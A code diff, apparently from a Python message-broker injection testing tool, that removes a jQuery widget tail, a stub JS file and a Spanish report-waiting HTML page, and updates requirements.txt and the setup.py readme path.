|
||||
|
||||
data = data || {};
|
||||
event = $.Event( event );
|
||||
event.type = ( type === this.widgetEventPrefix ?
|
||||
type :
|
||||
this.widgetEventPrefix + type ).toLowerCase();
|
||||
// the original event may come from any element
|
||||
// so we need to reset the target on the new event
|
||||
event.target = this.element[ 0 ];
|
||||
|
||||
// copy original event properties over to the new event
|
||||
orig = event.originalEvent;
|
||||
if ( orig ) {
|
||||
for ( prop in orig ) {
|
||||
if ( !( prop in event ) ) {
|
||||
event[ prop ] = orig[ prop ];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.element.trigger( event, data );
|
||||
return !( $.isFunction( callback ) &&
|
||||
callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
|
||||
event.isDefaultPrevented() );
|
||||
}
|
||||
};
|
||||
|
||||
$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
|
||||
$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
|
||||
if ( typeof options === "string" ) {
|
||||
options = { effect: options };
|
||||
}
|
||||
var hasOptions,
|
||||
effectName = !options ?
|
||||
method :
|
||||
options === true || typeof options === "number" ?
|
||||
defaultEffect :
|
||||
options.effect || defaultEffect;
|
||||
options = options || {};
|
||||
if ( typeof options === "number" ) {
|
||||
options = { duration: options };
|
||||
}
|
||||
hasOptions = !$.isEmptyObject( options );
|
||||
options.complete = callback;
|
||||
if ( options.delay ) {
|
||||
element.delay( options.delay );
|
||||
}
|
||||
if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
|
||||
element[ method ]( options );
|
||||
} else if ( effectName !== method && element[ effectName ] ) {
|
||||
element[ effectName ]( options.duration, options.easing, callback );
|
||||
} else {
|
||||
element.queue(function( next ) {
|
||||
$( this )[ method ]();
|
||||
if ( callback ) {
|
||||
callback.call( element[ 0 ] );
|
||||
}
|
||||
next();
|
||||
});
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
var widget = $.widget;
|
||||
|
||||
|
||||
|
||||
}));
|
||||
@@ -1,3 +0,0 @@
|
||||
/**
|
||||
* Created by Dani on 26/1/16.
|
||||
*/
|
||||
@@ -1,94 +0,0 @@
|
||||
<!DOCTYPE HTML>
|
||||
<!--
|
||||
/*
|
||||
* jQuery File Upload Plugin Demo
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2010, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
-->
|
||||
<html lang="es">
|
||||
<head>
|
||||
<!-- Force latest IE rendering engine or ChromeFrame if installed -->
|
||||
<!--[if IE]>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<![endif]-->
|
||||
<meta charset="utf-8">
|
||||
<title>jQuery File Upload Demo</title>
|
||||
<meta name="description" content="File Upload widget with multiple file selection, drag&drop support, progress bars, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads and client-side image resizing. Works with any server-side platform (PHP, Python, Ruby on Rails, Java, Node.js, Go etc.) that supports standard HTML form file uploads.">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<!-- Bootstrap styles -->
|
||||
<link rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">
|
||||
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css">
|
||||
<!-- Generic page styles -->
|
||||
<link rel="stylesheet" href="static/css/jquery-ui.theme.min.css">
|
||||
<link rel="stylesheet" href="static/css/wait.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
|
||||
<div class="row popup" id="finished">
|
||||
<div class="col-8">
|
||||
<div class="jumbotron" contenteditable="true" style="margin-top: 80px;">
|
||||
<h1>¡Bien hecho!</h1>
|
||||
<p>Haga click en "volver" para inciar de nuevo el proceso.</p>
|
||||
</div>
|
||||
</div>
|
||||
<p><a class="btn btn-primary btn-large" href="/">← Home</a></p>
|
||||
</div>
|
||||
|
||||
<div class="se-pre-con"></div>
|
||||
<div class="popup" id="popup">
|
||||
<h1>Informes generados</h1>
|
||||
|
||||
<p>Los informes han sido generados correctamente, puedes descargarlos en este enlace: <a href="#"></a></p>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
<!-- The blueimp Gallery widget -->
|
||||
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
|
||||
<script src="http://code.jquery.com/ui/1.11.4/jquery-ui.js"></script>
|
||||
<script src="http://netdna.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
|
||||
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/socket.io/1.3.6/socket.io.min.js"></script>
|
||||
<script src="static/js/wait.js"></script>
|
||||
<script type="text/javascript" charset="utf-8">
|
||||
var socket = io.connect('http://' + document.domain + ':' + location.port);
|
||||
socket.on('connect', function() {
|
||||
socket.emit('my event', {data: 'I\'m connected!'});
|
||||
});
|
||||
|
||||
socket.on('finish', function() {
|
||||
done();
|
||||
});
|
||||
|
||||
|
||||
function done(){
|
||||
$(".se-pre-con").hide("slow");
|
||||
$( "#popup" ).dialog({
|
||||
modal: true,
|
||||
width: 'auto',
|
||||
buttons: {
|
||||
Ok: function () {
|
||||
$(this).dialog("close");
|
||||
$("#finished").show();
|
||||
}
|
||||
},
|
||||
close: function(){
|
||||
$("#finished").show();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$(document).ready(function(){
|
||||
$(function() {
|
||||
$(".se-pre-con").show("slow");
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,9 +1,17 @@
|
||||
six
|
||||
flask
|
||||
wtforms
|
||||
eventlet
|
||||
colorlog
|
||||
ipaddress
|
||||
|
||||
# MQ/Brokers requirements
|
||||
redis
|
||||
kombu
|
||||
celery
|
||||
kombu
|
||||
pyzmq
|
||||
amqp
|
||||
|
||||
# contrib dependencies
|
||||
requests
|
||||
netaddr
|
||||
2
setup.py
@@ -45,7 +45,7 @@ setup(
|
||||
'enteletaor = enteletaor_lib.enteletaor:main',
|
||||
]},
|
||||
description='Message Queue & Broker Injection tool',
|
||||
long_description=open('README.md', "r").read(),
|
||||
long_description=open('README.rst', "r").read(),
|
||||
classifiers=[
|
||||
'Environment :: Console',
|
||||
'Intended Audience :: System Administrators',
|
||||
|
||||